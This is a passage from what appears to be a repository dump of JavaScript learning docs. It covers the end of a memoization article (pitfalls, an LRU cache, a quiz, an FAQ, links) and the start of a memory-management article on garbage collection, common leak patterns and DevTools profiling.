memoize(function(price, rate) {\n  return price * rate\n})\n\ncalculateTax(100, 0.08)  // 8\ncalculateTax(100, 0.10)  // 10 (different arguments = different cache key)\n```\n\n### Mistake 2: Forgetting Argument Order Matters\n\n```javascript\nconst add = memoize((a, b) => a + b)\n\nadd(1, 2)  // Calculates: 3, cached as \"[1,2]\"\nadd(2, 1)  // Calculates again: 3, cached as \"[2,1]\"\n\n// These are different cache keys even though the result is the same!\n// For commutative operations, consider normalizing arguments:\n\nfunction memoizeCommutative(fn) {\n  const cache = new Map()\n  \n  return function(...args) {\n    const key = JSON.stringify(args.slice().sort())  // Sort for consistent key\n    if (cache.has(key)) return cache.get(key)\n    const result = fn.apply(this, args)\n    cache.set(key, result)\n    return result\n  }\n}\n```\n\n### Mistake 3: Not Handling `this` Context\n\n```javascript\n// ❌ WRONG: Loses 'this' context\nfunction badMemoize(fn) {\n  const cache = new Map()\n  return function(...args) {\n    const key = JSON.stringify(args)\n    if (cache.has(key)) return cache.get(key)\n    const result = fn(...args)  // 'this' is lost!\n    cache.set(key, result)\n    return result\n  }\n}\n\n// ✓ CORRECT: Preserve 'this' with apply\nfunction goodMemoize(fn) {\n  const cache = new Map()\n  return function(...args) {\n    const key = JSON.stringify(args)\n    if (cache.has(key)) return cache.get(key)\n    const result = fn.apply(this, args)  // 'this' preserved\n    cache.set(key, result)\n    return result\n  }\n}\n```\n\n### Mistake 4: Recursive Function References Wrong Version\n\n```javascript\n// ❌ WRONG: Inner function calls itself, not the memoized version\nconst factorial = memoize(function fact(n) {\n  if (n <= 1) return 1\n  return n * fact(n - 1)  // Calls 'fact', not 'factorial'!\n})\n\n// ✓ CORRECT: Reference the memoized variable\nconst factorial = memoize(function(n) {\n  if (n <= 1) return 1\n  return n * factorial(n - 1)  // Calls 'factorial' — the memoized version\n})\n```\n\n---\n\n## Advanced: LRU Cache for Bounded Memory\n\nStandard memoization caches grow unbounded. As MDN's documentation on Map notes, Map maintains insertion order, which makes it an ideal foundation for building LRU (Least Recently Used) caches that evict old entries:\n\n```javascript\nfunction memoizeLRU(fn, maxSize = 100) {\n  const cache = new Map()\n  \n  return function(...args) {\n    const key = JSON.stringify(args)\n    \n    if (cache.has(key)) {\n      // Move to end (most recently used)\n      const value = cache.get(key)\n      cache.delete(key)\n      cache.set(key, value)\n      return value\n    }\n    \n    const result = fn.apply(this, args)\n    \n    // Evict oldest entry if at capacity\n    if (cache.size >= maxSize) {\n      const oldestKey = cache.keys().next().value\n      cache.delete(oldestKey)\n    }\n    \n    cache.set(key, result)\n    return result\n  }\n}\n\nconst fibonacci = memoizeLRU(function(n) {\n  if (n <= 1) return n\n  return fibonacci(n - 1) + fibonacci(n - 2)\n}, 50)  // Only keep 50 most recent results\n```\n\nThis implementation leverages the fact that [`Map`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map) maintains insertion order, so the first key is always the oldest.\n\n---\n\n## Key Takeaways\n\n<Info>\n**The key things to remember about memoization:**\n\n1. **Memoization caches function results** — it stores the output for given inputs and returns the cached value on subsequent calls with the same inputs\n\n2. **Only memoize pure functions** — the function must always return the same output for the same input, with no side effects\n\n3. **Trade memory for speed** — every cached result consumes memory, so memoization is a space-time tradeoff\n\n4. **Best for expensive, repeated computations** — recursive algorithms, CPU-intensive calculations, and functions called many times with the same arguments\n\n5. **Use `Map` for primitive arguments** — `Map` provides O(1) lookup and handles any value type as keys\n\n6. **Use `WeakMap` for object arguments** — prevents memory leaks by allowing garbage collection of unused keys\n\n7. **Create cache keys carefully** — `JSON.stringify(args)` works for primitives but has limitations with objects, functions, and undefined values\n\n8. **Recursive functions must reference the memoized version** — otherwise only the outer call benefits from caching\n\n9. **Don't memoize fast functions** — if computation is cheaper than cache lookup, memoization hurts performance\n\n10. **Consider bounded caches in production** — LRU caches prevent unbounded memory growth in long-running applications\n</Info>\n\n---\n\n## Test Your Knowledge\n\n<AccordionGroup>\n  <Accordion title=\"Question 1: What is memoization?\">\n    **Answer:**\n    \n    Memoization is an optimization technique that caches the results of function calls. When a memoized function is called with arguments it has seen before, it returns the cached result instead of recalculating.\n    \n    ```javascript\n    const memoizedFn = memoize(expensiveFunction)\n    \n    memoizedFn(5)  // Calculates and caches\n    memoizedFn(5)  // Returns cached result (no calculation)\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Question 2: Why should you only memoize pure functions?\">\n    **Answer:**\n    \n    Pure functions always return the same output for the same input and have no side effects. If you memoize an impure function:\n    \n    1. **Results may be wrong** — if the function depends on external state that changes, cached results become stale\n    2. **Side effects are skipped** — on cache hits, the function body doesn't execute, so side effects don't happen\n    \n    ```javascript\n    // ❌ Impure: depends on external state\n    let multiplier = 2\n    const multiply = memoize(n => n * multiplier)\n    \n    multiply(5)  // 10, cached\n    multiplier = 3\n    multiply(5)  // Still 10! Should be 15.\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Question 3: How does memoization improve Fibonacci performance?\">\n    **Answer:**\n    \n    Naive recursive Fibonacci has O(2^n) time complexity because it recalculates the same values many times. For `fib(5)`, it calculates `fib(2)` three times.\n    \n    Memoized Fibonacci has O(n) time complexity because each value is calculated only once and then retrieved from cache.\n    \n    ```javascript\n    // Without memoization: fib(40) makes ~330 million calls\n    // With memoization: fib(40) makes 41 calls\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Question 4: When should you NOT use memoization?\">\n    **Answer:**\n    \n    Don't memoize when:\n    \n    1. **Functions are fast** — cache lookup overhead exceeds computation time\n    2. **Inputs are always unique** — cache grows but never provides hits\n    3. **Functions have side effects** — side effects won't execute on cache hits\n    4. **Memory is constrained** — cache can grow unbounded\n    5. **Functions are impure** — cached results become invalid when external state changes\n  </Accordion>\n  \n  <Accordion title=\"Question 5: Why use WeakMap instead of Map for object arguments?\">\n    **Answer:**\n    \n    `WeakMap` allows garbage collection of keys when they're no longer referenced elsewhere. With `Map`, object keys (or their stringified versions) prevent garbage collection, causing memory leaks.\n    \n    ```javascript\n    // Map: object stays in memory even after you're done with it\n    const map = new Map()\n    let obj = { data: 'large' }\n    map.set(obj, 'cached')\n    obj = null  // Object still referenced by map, can't be garbage collected!\n    \n    // WeakMap: object can be garbage collected\n    const weakMap = new WeakMap()\n    let obj = { data: 'large' }\n    weakMap.set(obj, 'cached')\n    obj = null  // Object can now be garbage collected\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Question 6: What's wrong with this memoized recursive function?\">\n    ```javascript\n    const factorial = memoize(function fact(n) {\n      if (n <= 1) return 1\n      return n * fact(n - 1)\n    })\n    ```\n    \n    **Answer:**\n    \n    The recursive call `fact(n - 1)` references the inner function name `fact`, not the outer memoized variable `factorial`. This means only the initial call benefits from caching; recursive calls bypass the cache entirely.\n    \n    **Fix:** Reference the memoized variable:\n    \n    ```javascript\n    const factorial = memoize(function(n) {\n      if (n <= 1) return 1\n      return n * factorial(n - 1)  // References the memoized version\n    })\n    ```\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Frequently Asked Questions\n\n<AccordionGroup>\n  <Accordion title=\"What is memoization in JavaScript?\">\n    Memoization is an optimization technique that caches the results of function calls and returns the cached result when the same inputs occur again. It trades memory for speed by storing previous computations. The technique was formalized by Donald Michie in 1968 and is widely used in dynamic programming and UI frameworks like React.\n  </Accordion>\n\n  <Accordion title=\"What is the difference between memoization and caching?\">\n    Memoization is a specific form of caching that stores function return values based on their input arguments. General caching can apply to any data (API responses, database queries, files). Memoization is tied to function purity — it only works correctly when the same inputs always produce the same output with no side effects.\n  </Accordion>\n\n  <Accordion title=\"Why does memoization only work with pure functions?\">\n    Pure functions always return the same output for the same input and have no side effects. If you memoize an impure function that depends on external state, the cached result becomes stale when that state changes. Side effects (like logging or API calls) are also skipped on cache hits, which can break expected behavior.\n  </Accordion>\n\n  <Accordion title=\"Can I memoize functions with object arguments?\">\n    Yes, but use `WeakMap` instead of `Map` for the cache. `JSON.stringify` loses object identity and prevents garbage collection. MDN documents that WeakMap keys are held weakly, meaning objects can be garbage collected when no other references exist, preventing memory leaks in long-running applications.\n  </Accordion>\n\n  <Accordion title=\"When should I NOT use memoization?\">\n    Avoid memoizing fast functions where cache lookup overhead exceeds computation time, functions with always-unique inputs that fill the cache without providing hits, functions with side effects, and impure functions that depend on external state. Measure before and after to confirm memoization actually helps.\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Related Concepts\n\n<CardGroup cols={2}>\n  <Card title=\"Pure Functions\" icon=\"flask\" href=\"/concepts/pure-functions\">\n    Memoization only works reliably with pure functions that have no side effects\n  </Card>\n  <Card title=\"Scope and Closures\" icon=\"box\" href=\"/concepts/scope-and-closures\">\n    Memoize functions use closures to maintain access to the cache between calls\n  </Card>\n  <Card title=\"Higher-Order Functions\" icon=\"layer-group\" href=\"/concepts/higher-order-functions\">\n    `memoize` is a higher-order function that takes a function and returns an enhanced version\n  </Card>\n  <Card title=\"WeakMap & WeakSet\" icon=\"ghost\" href=\"/beyond/concepts/weakmap-weakset\">\n    WeakMap enables memory-safe memoization with object arguments\n  </Card>\n</CardGroup>\n\n---\n\n## Reference\n\n<CardGroup cols={2}>\n  <Card title=\"Map — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map\">\n    The Map object holds key-value pairs and remembers insertion order, making it ideal for memoization caches\n  </Card>\n  <Card title=\"WeakMap — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WeakMap\">\n    WeakMap holds weak references to object keys, allowing garbage collection and preventing memory leaks\n  </Card>\n  <Card title=\"Closures — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Closures\">\n    Closures enable memoized functions to maintain access to their cache across multiple calls\n  </Card>\n  <Card title=\"JSON.stringify() — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON/stringify\">\n    Used to create cache keys from function arguments in basic memoization implementations\n  </Card>\n</CardGroup>\n\n## Articles\n\n<CardGroup cols={2}>\n  <Card title=\"How to use Memoize to cache JavaScript function results\" icon=\"newspaper\" href=\"https://www.freecodecamp.org/news/understanding-memoize-in-javascript-51d07d19430e/\">\n    Divyanshu Maithani's practical guide walks through building a memoize function from scratch. Includes the recursive Fibonacci example and explains why memoization works differently than general caching.\n  </Card>\n  <Card title=\"Understanding Memoization in JavaScript\" icon=\"newspaper\" href=\"https://www.digitalocean.com/community/tutorials/understanding-memoization-in-javascript\">\n    Philip Obosi's comprehensive tutorial covers the connection between memoization and closures. Includes JSPerf benchmarks showing the dramatic performance difference.\n  </Card>\n  <Card title=\"Closures: Using Memoization\" icon=\"newspaper\" href=\"https://dev.to/steelvoltage/closures-using-memoization-3597\">\n    Brian Holt's Dev.to article connects memoization to closures with clear examples. Perfect for understanding how the cache persists between function calls.\n  </Card>\n  <Card title=\"JavaScript Function Memoization\" icon=\"newspaper\" href=\"https://blog.bitsrc.io/understanding-memoization-in-javascript-to-improve-performance-2c267c123ef3\">\n    Bits and Pieces guide on memoization patterns with real-world use cases and performance considerations for production applications.\n  </Card>\n</CardGroup>\n\n## Videos\n\n<CardGroup cols={2}>\n  <Card title=\"Memoization And Dynamic Programming Explained\" icon=\"video\" href=\"https://www.youtube.com/watch?v=WbwP4w6TpCk\">\n    Web Dev Simplified demonstrates how memoization transforms exponential algorithms into linear ones. The Fibonacci visualization makes the optimization crystal clear.\n  </Card>\n  <Card title=\"What is Memoization? — Fun Fun Function\" icon=\"video\" href=\"https://www.youtube.com/watch?v=lhNdUVh3qR8\">\n    Mattias Petter Johansson explains memoization with his signature engaging style. Great for understanding the \"why\" behind the technique.\n  </Card>\n  <Card title=\"Memoization in JavaScript\" icon=\"video\" href=\"https://www.youtube.com/watch?v=vKodE_3eSLU\">\n    Akshay Saini covers memoization in the context of JavaScript interviews, including common follow-up questions and gotchas.\n  </Card>\n</CardGroup>\n"
  },
  {
    "path": "docs/beyond/concepts/memory-management.mdx",
    "content": "---\ntitle: \"JavaScript Memory Management\"\nsidebarTitle: \"Memory Management\"\ndescription: \"Learn how JavaScript manages memory automatically. Understand the memory lifecycle, stack vs heap, common memory leaks, and how to profile memory with DevTools.\"\n\"og:type\": \"article\"\n\"article:author\": \"Leonardo Maldonado\"\n\"article:section\": \"Memory & Performance\"\n\"article:tag\": \"memory management, javascript memory, stack heap, memory leaks, devtools profiling\"\n---\n\nWhy does your web app slow down over time? Why does that single-page application become sluggish after hours of use? The answer often lies in **memory management**, the invisible system that allocates and frees memory as your code runs.\n\n```javascript\n// Memory is allocated automatically when you create values\nconst user = { name: 'Alice', age: 30 };  // Object stored in heap\nconst numbers = [1, 2, 3, 4, 5];          // Array stored in heap\nlet count = 42;                            // Primitive stored in stack\n\n// But what happens when these are no longer needed?\n// JavaScript handles cleanup automatically... most of the time\n```\n\nUnlike languages like C where you manually allocate and free memory, JavaScript handles this automatically. But \"automatic\" doesn't mean \"worry-free.\" According to the State of JS 2023 survey, memory management and performance optimization remain among the top pain points reported by JavaScript developers. Understanding how memory management works helps you write faster, more efficient code and avoid the dreaded memory leaks that crash applications.\n\n<Info>\n**What you'll learn in this guide:**\n- What memory management is and why it matters for performance\n- The three phases of the memory lifecycle\n- How stack and heap memory differ and when each is used\n- Common memory leak patterns and how to prevent them\n- How to profile memory usage with Chrome DevTools\n- Best practices for writing memory-efficient JavaScript\n</Info>\n\n---\n\n## The Storage Unit Analogy: Understanding Memory\n\nImagine you're running a storage facility. When customers (your code) need to store items (data), you:\n\n1. **Allocate** — Find an empty unit and assign it to them\n2. **Use** — They store and retrieve items as needed\n3. **Release** — When they're done, you reclaim the unit for other customers\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                        MEMORY LIFECYCLE                                  │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                          │\n│    ┌──────────────┐      ┌──────────────┐      ┌──────────────┐         │\n│    │   ALLOCATE   │ ───► │     USE      │ ───► │   RELEASE    │         │\n│    │              │      │              │      │              │         │\n│    │ Reserve      │      │ Read/Write   │      │ Free memory  │         │\n│    │ memory       │      │ data         │      │ when done    │         │\n│    └──────────────┘      └──────────────┘      └──────────────┘         │\n│                                                                          │\n│    JavaScript does       You do this         Garbage collector          │\n│    this automatically    explicitly          does this for you          │\n│                                                                          │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\nThe tricky part? JavaScript handles allocation and release automatically, which means you don't always know when memory is freed. This can lead to memory building up when you expect it to be cleaned.\n\n---\n\n## What is Memory Management?\n\n**[Memory management](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Memory_management)** is the process of allocating memory when your program needs it, using that memory, and releasing it when it's no longer needed. In JavaScript, this happens automatically through a system called garbage collection, which monitors objects and frees memory that's no longer reachable by your code.\n\n### The Memory Lifecycle\n\nEvery piece of data in your program goes through three phases:\n\n<Steps>\n  <Step title=\"Allocation\">\n    When you create a variable, object, or function, JavaScript automatically reserves memory to store it.\n    \n    ```javascript\n    // All of these trigger memory allocation\n    const name = \"Alice\";                    // String allocation\n    const user = { id: 1, name: \"Alice\" };   // Object allocation\n    const items = [1, 2, 3];                 // Array allocation\n    function greet() { return \"Hello\"; }     // Function allocation\n    ```\n  </Step>\n  \n  <Step title=\"Use\">\n    Your code reads from and writes to allocated memory. This is the phase where you actually work with your data.\n    \n    ```javascript\n    // Using allocated memory\n    console.log(name);           // Read from memory\n    user.age = 30;               // Write to memory\n    items.push(4);               // Modify allocated array\n    const message = greet();     // Execute function, allocate result\n    ```\n  </Step>\n  \n  <Step title=\"Release\">\n    When data is no longer needed, the garbage collector frees that memory so it can be reused. This happens automatically when values become **unreachable**.\n    \n    ```javascript\n    function processData() {\n      const tempData = { huge: new Array(1000000) };\n      // tempData is used here...\n      return tempData.huge.length;\n    }\n    // After processData() returns, tempData is unreachable\n    // The garbage collector will eventually free that memory\n    ```\n  </Step>\n</Steps>\n\n<Note>\n**The hard part:** Determining when memory is \"no longer needed\" is actually an undecidable problem in computer science. Garbage collectors use approximations (like checking if values are reachable) rather than truly knowing if you'll use something again.\n</Note>\n\n---\n\n## Stack vs Heap: Two Types of Memory\n\nJavaScript uses two memory regions with different characteristics. Understanding when each is used helps you write more efficient code.\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                    STACK vs HEAP MEMORY                                  │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                          │\n│     STACK (Fast, Ordered)              HEAP (Flexible, Unordered)       │\n│    ┌─────────────────────┐            ┌─────────────────────────────┐   │\n│    │ let count = 42      │            │  ┌─────────────────────┐    │   │\n│    ├─────────────────────┤            │  │ { name: \"Alice\" }   │    │   │\n│    │ let active = true   │            │  └─────────────────────┘    │   │\n│    ├─────────────────────┤            │       ┌───────────┐         │   │\n│    │ let price = 19.99   │            │       │ [1, 2, 3] │         │   │\n│    ├─────────────────────┤            │       └───────────┘         │   │\n│    │ (reference to obj)──┼────────────┼──►┌─────────────────┐       │   │\n│    └─────────────────────┘            │   │ { id: 1 }       │       │   │\n│                                       │   └─────────────────┘       │   │\n│    Primitives stored directly         │                             │   │\n│    References point to heap           └─────────────────────────────┘   │\n│                                        Objects stored here              │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\n### Stack Memory\n\nThe **stack** is a fast, ordered region of memory used for:\n\n- **Primitive values** — numbers, strings, booleans, `null`, `undefined`, symbols, BigInt\n- **References** — pointers to objects in the heap\n- **Function call information** — local variables, arguments, return addresses\n\n```javascript\nfunction calculateTotal(price, quantity) {\n  // These primitives are stored on the stack\n  const tax = 0.08;\n  const subtotal = price * quantity;\n  const total = subtotal + (subtotal * tax);\n  return total;\n}\n// When the function returns, stack memory is immediately reclaimed\n```\n\n**Characteristics:**\n- Fixed size, very fast access\n- Automatically managed (LIFO - Last In, First Out)\n- Memory is freed immediately when functions return\n- Limited in size (causes stack overflow if exceeded)\n\n### Heap Memory\n\nThe **heap** is a larger, unstructured region used for:\n\n- **Objects** — including arrays, functions, dates, etc.\n- **Dynamically sized data** — anything that can grow or shrink\n- **Data that outlives function calls**\n\n```javascript\nfunction createUser(name) {\n  // This object is allocated in the heap\n  const user = {\n    name: name,\n    createdAt: new Date(),\n    preferences: []\n  };\n  return user;  // Reference returned, object persists in heap\n}\n\nconst alice = createUser(\"Alice\");\n// The object still exists in heap memory, referenced by 'alice'\n```\n\n**Characteristics:**\n- Dynamic size, slower access than stack\n- Managed by garbage collector\n- Memory freed only when values become unreachable\n- No size limit (except available system memory)\n\n### How References Work\n\nWhen you assign an object to a variable, the variable holds a **reference** (like an address) pointing to the object in the heap:\n\n```javascript\nconst original = { value: 1 };  // Object in heap, reference in stack\nconst copy = original;           // Same reference, same object!\n\ncopy.value = 2;\nconsole.log(original.value);  // 2 — both point to the same object\n\n// To create an independent copy:\nconst independent = { ...original };\nindependent.value = 3;\nconsole.log(original.value);  // Still 2 — different objects\n```\n\n---\n\n## How JavaScript Allocates Memory\n\nJavaScript automatically allocates memory when you create values. Here's what triggers allocation:\n\n### Automatic Allocation Examples\n\n```javascript\n// Primitive allocation\nconst n = 123;                    // Allocates memory for a number\nconst s = \"hello\";                // Allocates memory for a string\nconst b = true;                   // Allocates memory for a boolean\n\n// Object allocation\nconst obj = { a: 1, b: 2 };       // Allocates memory for object and values\nconst arr = [1, 2, 3];            // Allocates memory for array and elements\nconst fn = function() {};         // Allocates memory for function object\n\n// Allocation via operations\nconst s2 = s.substring(0, 3);     // New string allocated\nconst arr2 = arr.concat([4, 5]);  // New array allocated\nconst obj2 = { ...obj, c: 3 };    // New object allocated\n```\n\n### Allocation via Constructor Calls\n\n```javascript\nconst date = new Date();                    // Allocates Date object\nconst regex = new RegExp(\"pattern\");        // Allocates RegExp object\nconst map = new Map();                      // Allocates Map object\nconst set = new Set([1, 2, 3]);             // Allocates Set and stores values\n```\n\n### Allocation via DOM APIs\n\n```javascript\n// Each of these allocates new objects\nconst div = document.createElement('div');   // Allocates DOM element\nconst text = document.createTextNode('Hi');  // Allocates text node\nconst fragment = document.createDocumentFragment();\n```\n\n---\n\n## Garbage Collection: Automatic Memory Release\n\nJavaScript uses **[garbage collection](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Memory_management#garbage_collection)** to automatically free memory that's no longer needed. The key concept is **reachability**.\n\n### What is \"Reachable\"?\n\nA value is **reachable** if it can be accessed somehow, starting from \"root\" values:\n\n**Roots include:**\n- Global variables\n- Currently executing function's local variables and parameters\n- Variables in the current chain of nested function calls\n\n```javascript\n// Global variable — always reachable\nlet globalUser = { name: \"Alice\" };\n\nfunction example() {\n  // Local variable — reachable while function executes\n  const localData = { value: 42 };\n  \n  // Nested function can access outer variables\n  function inner() {\n    console.log(localData.value);  // localData is reachable here\n  }\n  \n  inner();\n}  // After example() returns, localData becomes unreachable\n```\n\n### The Mark-and-Sweep Algorithm\n\nModern JavaScript engines use the **mark-and-sweep** algorithm. As MDN documents, this approach replaced the older reference-counting strategy because it correctly handles circular references — a limitation that caused notorious memory leaks in early Internet Explorer versions:\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                     MARK-AND-SWEEP ALGORITHM                             │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                          │\n│  Step 1: MARK                         Step 2: SWEEP                      │\n│  ─────────────                        ────────────                       │\n│  Start from roots,                    Remove all objects                 │\n│  mark all reachable objects           that weren't marked                │\n│                                                                          │\n│     [root]                               [root]                          │\n│        │                                    │                            │\n│        ▼                                    ▼                            │\n│     ┌─────┐      ┌─────┐               ┌─────┐                          │\n│     │  A  │ ───► │  B  │               │  A  │ ───► │  B  │             │\n│     │ ✓   │      │ ✓   │               │     │      │     │             │\n│     └─────┘      └─────┘               └─────┘      └─────┘             │\n│                                                                          │\n│     ┌─────┐      ┌─────┐               ╳─────╳      ╳─────╳             │\n│     │  C  │ ───► │  D  │               │ DEL │      │ DEL │             │\n│     │     │      │     │               ╳─────╳      ╳─────╳             │\n│     └─────┘      └─────┘               (Unreachable = deleted)          │\n│     (Not reachable from root)                                            │\n│                                                                          │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\n<Tabs>\n  <Tab title=\"Example: Object Becomes Unreachable\">\n    ```javascript\n    let user = { name: \"John\" };  // Object is reachable via 'user'\n    \n    user = null;  // Now the object has no references\n    // The garbage collector will eventually free it\n    ```\n  </Tab>\n  <Tab title=\"Example: Multiple References\">\n    ```javascript\n    let user = { name: \"John\" };\n    let admin = user;  // Two references to the same object\n    \n    user = null;       // Object still reachable via 'admin'\n    admin = null;      // Now the object is unreachable\n    // Garbage collector can free it\n    ```\n  </Tab>\n  <Tab title=\"Example: Interlinked Objects\">\n    ```javascript\n    function marry(man, woman) {\n      man.wife = woman;\n      woman.husband = man;\n      return { father: man, mother: woman };\n    }\n    \n    let family = marry({ name: \"John\" }, { name: \"Ann\" });\n    \n    family = null;  // The entire structure becomes unreachable\n    // Even though John and Ann reference each other,\n    // they're unreachable from any root — so they're freed\n    ```\n  </Tab>\n</Tabs>\n\n<Warning>\n**Important:** You cannot force or control when garbage collection runs. It happens automatically based on the JavaScript engine's internal heuristics. Don't write code that depends on specific GC timing.\n</Warning>\n\n---\n\n## Common Memory Leaks and How to Fix Them\n\nA **memory leak** occurs when your application retains memory that's no longer needed. Over time, this causes performance degradation and eventually crashes. Here are the most common causes:\n\n### 1. Accidental Global Variables\n\n```javascript\n// ❌ BAD: Creating global variables accidentally\nfunction processData() {\n  // Forgot 'const' — this creates a global variable!\n  leakedData = new Array(1000000);\n}\n\n// ✅ GOOD: Use proper variable declarations\nfunction processData() {\n  const localData = new Array(1000000);\n  // localData is freed when function returns\n}\n\n// ✅ BETTER: Use strict mode to catch this error\n\"use strict\";\nfunction processData() {\n  leakedData = [];  // ReferenceError: leakedData is not defined\n}\n```\n\n### 2. Forgotten Timers and Intervals\n\n```javascript\n// ❌ BAD: Interval never cleared\nfunction startPolling() {\n  const data = fetchHugeData();\n  \n  setInterval(() => {\n    // This closure keeps 'data' alive forever!\n    console.log(data.length);\n  }, 1000);\n}\n\n// ✅ GOOD: Store interval ID and clear when done\nfunction startPolling() {\n  const data = fetchHugeData();\n  \n  const intervalId = setInterval(() => {\n    console.log(data.length);\n  }, 1000);\n  \n  // Return cleanup function\n  return () => clearInterval(intervalId);\n}\n\nconst stopPolling = startPolling();\n// Later, when done:\nstopPolling();\n```\n\n### 3. Detached DOM Elements\n\n```javascript\n// ❌ BAD: Keeping references to removed DOM elements\nconst elements = [];\n\nfunction addElement() {\n  const div = document.createElement('div');\n  document.body.appendChild(div);\n  elements.push(div);  // Reference stored\n}\n\nfunction removeElement() {\n  const div = elements[0];\n  document.body.removeChild(div);  // Removed from DOM\n  // But still referenced in 'elements' array — memory leak!\n}\n\n// ✅ GOOD: Remove references when removing elements\nfunction removeElement() {\n  const div = elements.shift();  // Remove from array\n  document.body.removeChild(div);  // Remove from DOM\n  // Now the element can be garbage collected\n}\n```\n\n### 4. Closures Holding References\n\n```javascript\n// ❌ BAD: Closure keeps large data alive\nfunction createHandler() {\n  const hugeData = new Array(1000000).fill('x');\n  \n  return function handler() {\n    // Even if we only use hugeData.length,\n    // the entire array is kept in memory\n    console.log(hugeData.length);\n  };\n}\n\nconst handler = createHandler();\n// hugeData cannot be garbage collected while handler exists\n\n// ✅ GOOD: Only capture what you need\nfunction createHandler() {\n  const hugeData = new Array(1000000).fill('x');\n  const length = hugeData.length;  // Extract needed value\n  \n  return function handler() {\n    console.log(length);  // Only captures 'length'\n  };\n}\n// hugeData can be garbage collected after createHandler returns\n```\n\n### 5. Event Listeners Not Removed\n\n```javascript\n// ❌ BAD: Event listeners keep elements and handlers in memory\nclass Component {\n  constructor(element) {\n    this.element = element;\n    this.data = fetchLargeData();\n    \n    this.handleClick = () => {\n      console.log(this.data);\n    };\n    \n    element.addEventListener('click', this.handleClick);\n  }\n  \n  // No cleanup method!\n}\n\n// ✅ GOOD: Always provide cleanup\nclass Component {\n  constructor(element) {\n    this.element = element;\n    this.data = fetchLargeData();\n    \n    this.handleClick = () => {\n      console.log(this.data);\n    };\n    \n    element.addEventListener('click', this.handleClick);\n  }\n  \n  destroy() {\n    this.element.removeEventListener('click', this.handleClick);\n    this.element = null;\n    this.data = null;\n  }\n}\n```\n\n### 6. Growing Collections (Caches Without Limits)\n\n```javascript\n// ❌ BAD: Unbounded cache\nconst cache = {};\n\nfunction getData(key) {\n  if (!cache[key]) {\n    cache[key] = expensiveOperation(key);\n  }\n  return cache[key];\n}\n// Cache grows forever!\n\n// ✅ GOOD: Use WeakMap for object keys (auto-cleanup)\nconst cache = new WeakMap();\n\nfunction getData(obj) {\n  if (!cache.has(obj)) {\n    cache.set(obj, expensiveOperation(obj));\n  }\n  return cache.get(obj);\n}\n// When obj is garbage collected, its cache entry is too\n\n// ✅ ALSO GOOD: Bounded LRU cache for string keys\nclass LRUCache {\n  constructor(maxSize = 100) {\n    this.cache = new Map();\n    this.maxSize = maxSize;\n  }\n  \n  get(key) {\n    if (this.cache.has(key)) {\n      // Move to end (most recently used)\n      const value = this.cache.get(key);\n      this.cache.delete(key);\n      this.cache.set(key, value);\n      return value;\n    }\n    return undefined;\n  }\n  \n  set(key, value) {\n    if (this.cache.has(key)) {\n      this.cache.delete(key);\n    } else if (this.cache.size >= this.maxSize) {\n      // Delete oldest entry\n      const firstKey = this.cache.keys().next().value;\n      this.cache.delete(firstKey);\n    }\n    this.cache.set(key, value);\n  }\n}\n```\n\n---\n\n## Memory-Efficient Data Structures\n\nJavaScript provides special data structures designed for memory efficiency:\n\n### WeakMap and WeakSet\n\n[`WeakMap`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WeakMap) and [`WeakSet`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WeakSet), introduced in the ECMAScript 2015 specification, hold \"weak\" references that don't prevent garbage collection:\n\n```javascript\n// WeakMap: Associate data with objects without preventing GC\nconst metadata = new WeakMap();\n\nfunction processElement(element) {\n  metadata.set(element, {\n    processedAt: Date.now(),\n    clickCount: 0\n  });\n}\n\n// When 'element' is removed from DOM and dereferenced,\n// its WeakMap entry is automatically removed too\n\n// Regular Map would keep the element alive:\nconst regularMap = new Map();\nregularMap.set(element, data);\n// Even after element is removed, regularMap keeps it in memory!\n```\n\n**When to use:**\n- Caching computed data for objects\n- Storing private data associated with objects\n- Tracking objects without preventing their cleanup\n\n### WeakRef (Advanced)\n\n[`WeakRef`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WeakRef) provides a weak reference to an object, allowing you to check if it still exists:\n\n```javascript\n// Use case: Cache that allows garbage collection\nconst cache = new Map();\n\nfunction getCached(key, compute) {\n  if (cache.has(key)) {\n    const ref = cache.get(key);\n    const value = ref.deref();  // Get object if it still exists\n    if (value !== undefined) {\n      return value;\n    }\n  }\n  \n  const value = compute();\n  cache.set(key, new WeakRef(value));\n  return value;\n}\n```\n\n<Warning>\n**Use WeakRef sparingly.** The exact timing of garbage collection is unpredictable. Code that relies on specific GC behavior may work differently across JavaScript engines or even between runs. Use WeakRef only for optimization, not correctness.\n</Warning>\n\n---\n\n## Profiling Memory with Chrome DevTools\n\nChrome DevTools provides powerful tools for finding memory issues.\n\n### Using the Memory Panel\n\n<Steps>\n  <Step title=\"Open DevTools\">\n    Press `F12` or `Cmd+Option+I` (Mac) / `Ctrl+Shift+I` (Windows)\n  </Step>\n  \n  <Step title=\"Go to Memory Panel\">\n    Click the **Memory** tab\n  </Step>\n  \n  <Step title=\"Choose a Profile Type\">\n    - **Heap snapshot:** Capture current memory state\n    - **Allocation instrumentation on timeline:** Track allocations over time\n    - **Allocation sampling:** Statistical sampling (lower 